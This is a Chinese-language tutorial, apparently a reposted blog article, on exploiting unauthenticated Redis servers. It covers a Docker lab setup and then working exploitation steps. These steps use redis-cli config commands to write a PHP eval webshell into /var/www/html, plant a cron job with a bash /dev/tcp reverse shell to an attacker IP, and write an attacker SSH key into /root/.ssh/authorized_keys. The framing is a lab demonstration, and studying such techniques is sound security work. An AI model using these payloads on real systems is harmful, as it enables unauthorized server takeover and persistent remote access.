redis未授權(quán)訪問漏洞的成因和危害
漏洞定義
redis未授權(quán)訪問漏洞是一個由于redis服務(wù)版本較低其未設(shè)置登錄密碼導(dǎo)致的漏洞,攻擊者可直接利用redis服務(wù)器的ip地址和端口完成redis服務(wù)器的遠程登錄,對目標服務(wù)器完成后續(xù)的控制和利用。
漏洞成因
- redis版本為4.x/5.0.5或以前的版本;
- redis綁定在0.0.0.0:6379,且沒有進行添加防火墻規(guī)則避免其他非信任來源ip訪問等相關(guān)安全策略,直接暴露在公網(wǎng);
- 沒有設(shè)置密碼認證,可以免密碼遠程登錄redis服務(wù)
漏洞危害
- 攻擊者可通過redis命令向網(wǎng)站目錄寫入webshell,完成對目標網(wǎng)站服務(wù)器的初步控制;(/var/ww/html)
- 攻擊者可以通過redis命令向目標服務(wù)器寫入計劃任務(wù)來反彈shell,完成服務(wù)器的控制;(/var/spool/cron/)
任務(wù)計劃反彈shell方法僅適用于Centos
Ubuntu 不能用的原因如下:
因為默認 redis 寫文件后是 644 權(quán)限,但是 Ubuntu 要求執(zhí)行定時任務(wù)文件 /var/spool/cron/crontabs/<username>
權(quán)限必須是 600 才會執(zhí)行,否則會報錯 (root) INSECURE MODE (mode 0600 expected),而 Centos 的定時任務(wù)文件 /var/spool/cron/<username>
權(quán)限 644 也可以執(zhí)行 - 最嚴重的情況,如果redis以root身份運行,攻擊者可以給root賬戶寫入SSH公鑰文件,直接通過SSH登錄受害服務(wù)器。(/root/.ssh)
操作演示
由于我的系統(tǒng)是Ubuntu,并且環(huán)境是用docker搭建的,下面我只演示寫webshell的部分。
環(huán)境搭建
靶機:Ubuntu + LAMP + redis-5.0.4(172.16.70.129)
攻擊機:kali(172.16.70.140)
# 搭建redis5.0.4,同時設(shè)置掛載卷和端口映射,如果不做定時任務(wù)和公鑰的實驗則不需要(-v /var/spool/cron:/var/spool/cron -v /root/.ssh:/root/.ssh)
docker run --name=redis-5 -dit -v /var/www/html:/var/www/html -v /var/spool/cron:/var/spool/cron -v /root/.ssh:/root/.ssh -p 6379:6379 redis:5.0.4
# 搭建LAMP,這里我隨便選了個鏡像,同樣做好掛載卷和端口映射并讓容器在啟動時執(zhí)行(./run.sh)命令
docker run --name=lamp -dit -v /var/www/html:/var/www/html -p 80:80 -p 3306:3306 mattrayner/lamp /bin/bash -c "./run.sh"
# 如果需要對redis進行操作,裝個redis-tools就行了
apt install redis-tools
redis未授權(quán)
# 在redis-5.0.5以下的版本,安裝成功后默認情況下可以直接進行訪問
redis-cli -h 172.16.70.129
通過redis未授權(quán)寫入webshell
# 連接
redis-cli -h 172.16.70.129
# 設(shè)置存儲路徑
config set dir /var/www/html
# 設(shè)置存儲文件名
config set dbfilename shell.php
# 創(chuàng)建記錄 [shell => "\n\n<?php @eval($_REQUEST['cmd']);?>\n\n"]
set shell "\n\n<?php @eval($_REQUEST['cmd']);?>\n\n"
# 保存到磁盤 保存時可能會報錯,原因是/var/www/html沒有寫入權(quán)限
# chmod 777 /var/www/html 一下就好了
save
通過redis未授權(quán)寫入計劃任務(wù)反彈shell
# 在攻擊機上監(jiān)聽某端口
nc -lvnp 4444
# 連接靶機redis
redis-cli -h 172.16.70.129
# 設(shè)置存儲路徑
config set dir /var/spool/cron/
# 設(shè)置存儲文件名
config set dbfilename root
# 創(chuàng)建記錄
set xx "\n\n* * * * * bash -i >& /dev/tcp/172.16.70.140/4444 0>&1\n\n"
# 保存到磁盤
save
通過redis未授權(quán)實現(xiàn)ssh-keygen 公鑰登錄服務(wù)器
# 在攻擊機上創(chuàng)建公鑰文件
ssh-keygen -t rsa
# 重新生成一個key文件用于寫入redis
(echo -e "\n\n";cat /home/kali/.ssh/id_rsa.pub;echo -e "\n\n") > key
# 將重新設(shè)置的文件寫入redis,鍵名是key,值內(nèi)為公鑰
cat key | redis-cli -h 172.16.70.129 -x set key
# 設(shè)置存儲路徑(如果設(shè)置失敗,說明redis不是root權(quán)限)
config set dir /root/.ssh/
# 設(shè)置存儲文件名(公鑰存放在/root/.ssh/authorized_keys可以實現(xiàn)ssh免密登錄)
config set dbfilename authorized_keys
# 保存到磁盤
save
文章來源:http://www.zghlxwxcb.cn/news/detail-623187.html
參考資料
[1]: Docker 入門指南:如何在 Ubuntu 上安裝和使用 Docker
[2]: Redis攻防(未授權(quán)訪問、利用redis寫入webshell、任務(wù)計劃反彈、Shellssh-keygen 公鑰登錄服務(wù)器、利用主從復(fù)制RCE)
[3]: edis問題緩存無法寫入到本地磁盤文章來源地址http://www.zghlxwxcb.cn/news/detail-623187.html
到了這里,關(guān)于Redis未授權(quán)訪問漏洞引出的漏洞利用方式的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!